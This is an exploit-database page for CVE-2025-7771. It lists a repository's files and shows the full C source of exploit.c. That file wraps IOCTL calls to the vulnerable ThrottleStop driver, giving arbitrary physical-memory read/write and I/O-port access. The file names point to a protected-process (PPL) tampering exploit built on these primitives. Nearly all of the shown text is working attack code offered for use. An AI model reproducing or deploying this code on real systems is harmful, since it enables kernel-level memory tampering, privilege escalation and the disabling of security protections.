Exploit databaseDownload repository ZIP
GH-c7ef45662de5053c470e163b3f198d4e
v31l0x1/throttlestopppl
Sources for CVE-2025-7771
13 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files14
v31l0x1/throttlestoppplRevision 11875ac1290d
- .gitignore
- README.md
- ThrottleStopPPL.sln
- ThrottleStopPPL.vcxproj
- ThrottleStopPPL.vcxproj.filters
- eprocess.c
- eprocess.h
- exploit.c
- exploit.h
- main.c
- ppl.c
- ppl.h
- vtop.c
- vtop.h
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.c
Suggested starting fileC · 5,337 bytes#include "Exploit.h"
BOOL ReadPhysicalMemory(ULONGLONG physicalAddress, PVOID buffer, SIZE_T size)
{
if (g_hDevice == INVALID_HANDLE_VALUE || size > 8)
return FALSE;
DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(g_hDevice, THROTTLESTOP_IOCTL_READ_MEMORY, &physicalAddress, sizeof(physicalAddress), buffer, (DWORD)size, &bytesReturned, NULL);
return (result && bytesReturned == size);
}
BOOL ReadPhysicalMemoryByte(ULONGLONG physicalAddress, PBYTE value) {
return ReadPhysicalMemory(physicalAddress, value, sizeof(BYTE));
}
BOOL ReadPhysicalMemoryWord(ULONGLONG physicalAddress, PWORD value) {
return ReadPhysicalMemory(physicalAddress, value, sizeof(WORD));
}
BOOL ReadPhysicalMemoryDword(ULONGLONG physicalAddress, PDWORD value) {
return ReadPhysicalMemory(physicalAddress, value, sizeof(DWORD));
}
BOOL ReadPhysicalMemoryQword(ULONGLONG physicalAddress, PULONGLONG value) {
return ReadPhysicalMemory(physicalAddress, value, sizeof(ULONGLONG));
}
BOOL WritePhysicalMemory(ULONGLONG physicalAddress, PVOID buffer, SIZE_T size)
{
if (g_hDevice == INVALID_HANDLE_VALUE || size > 8)
return FALSE;
#define QWORD_SIZE 8
BYTE inputBuffer[sizeof(ULONGLONG) + QWORD_SIZE] = { 0 };
memcpy(inputBuffer, &physicalAddress, sizeof(physicalAddress));
memcpy(inputBuffer + sizeof(physicalAddress), buffer, size);
DWORD bytesReturned = 0;
DWORD inputBufferSize = sizeof(ULONGLONG) + (DWORD)size;
BOOL result = DeviceIoControl(g_hDevice, THROTTLESTOP_IOCTL_WRITE_MEMORY, inputBuffer, inputBufferSize, NULL, 0, &bytesReturned, NULL);
return (result && bytesReturned == 0);
}
BOOL WritePhysicalMemoryByte(ULONGLONG physicalAddress, BYTE value) {
return WritePhysicalMemory(physicalAddress, &value, sizeof(BYTE));
}
BOOL WritePhysicalMemoryWord(ULONGLONG physicalAddress, WORD value) {
return WritePhysicalMemory(physicalAddress, &value, sizeof(WORD));
}
BOOL WritePhysicalMemoryDword(ULONGLONG physicalAddress, DWORD value) {
return WritePhysicalMemory(physicalAddress, &value, sizeof(DWORD));
}
BOOL WritePhysicalMemoryQword(ULONGLONG physicalAddress, ULONGLONG value) {
return WritePhysicalMemory(physicalAddress, &value, sizeof(ULONGLONG));
}
BOOL ReadIoPortByte(USHORT port, PBYTE value) {
USHORT inputBuffer = port;
BYTE outputBuffer = 0;
DWORD bytesReturned = 0;
if (!DeviceIoControl(g_hDevice, THROTTLESTOP_IOCTL_READ_IO_PORT, &inputBuffer, sizeof(inputBuffer), &outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL))
return FALSE;
if (bytesReturned != sizeof(outputBuffer))
return FALSE;
*value = outputBuffer;
return TRUE;
}
BOOL ReadIoPortWord(USHORT port, PWORD value) {
USHORT inputBuffer = port;
WORD outputBuffer = 0;
DWORD bytesReturned = 0;
if (!DeviceIoControl(g_hDevice, THROTTLESTOP_IOCTL_READ_IO_PORT, &inputBuffer, sizeof(inputBuffer), &outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL))
return FALSE;
if (bytesReturned != sizeof(outputBuffer))
return FALSE;
*value = outputBuffer;
return TRUE;
}
BOOL ReadIoPortDword(USHORT port, PDWORD value) {
USHORT inputBuffer = port;
DWORD outputBuffer = 0;
DWORD bytesReturned = 0;
if (!DeviceIoControl(g_hDevice, THROTTLESTOP_IOCTL_READ_IO_PORT, &inputBuffer, sizeof(inputBuffer), &outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL))
return FALSE;
if (bytesReturned != sizeof(outputBuffer))
return FALSE;
*value = outputBuffer;
return TRUE;
}
BOOL ReadIoPort(USHORT port, PDWORD value, SIZE_T size) {
switch (size) {
case 1: {
BYTE tmp;
if (!ReadIoPortByte(port, &tmp)) return FALSE;
*value = tmp;
return TRUE;
}
case 2: {
WORD tmp;
if (!ReadIoPortWord(port, &tmp)) return FALSE;
*value = tmp;
return TRUE;
}
case 4:
return ReadIoPortDword(port, value);
default:
return FALSE;
}
}
BOOL WriteIoPortByte(USHORT port, BYTE value) {
struct {
USHORT port;
BYTE unused[2];
BYTE value;
} inputBuffer = { port, {0, 0}, value };
DWORD bytesReturned = 0;
return DeviceIoControl(g_hDevice, THROTTLESTOP_IOCTL_WRITE_IO_PORT, &inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL);
}
BOOL WriteIoPortWord(USHORT port, WORD value) {
struct {
USHORT port;
BYTE unused[2];
WORD value;
} inputBuffer = { port, {0, 0}, value };
DWORD bytesReturned = 0;
return DeviceIoControl(g_hDevice, THROTTLESTOP_IOCTL_WRITE_IO_PORT, &inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL);
}
BOOL WriteIoPortDword(USHORT port, DWORD value) {
struct {
USHORT port;
BYTE unused[2];
DWORD value;
} inputBuffer = { port, {0, 0}, value };
DWORD bytesReturned = 0;
return DeviceIoControl(g_hDevice, THROTTLESTOP_IOCTL_WRITE_IO_PORT, &inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL);
}
BOOL WriteIoPort(USHORT port, DWORD value, SIZE_T size) {
switch (size) {
case 1: return WriteIoPortByte(port, (BYTE)value);
case 2: return WriteIoPortWord(port, (WORD)value);
case 4: return WriteIoPortDword(port, (DWORD)value);
default: return FALSE;
}
}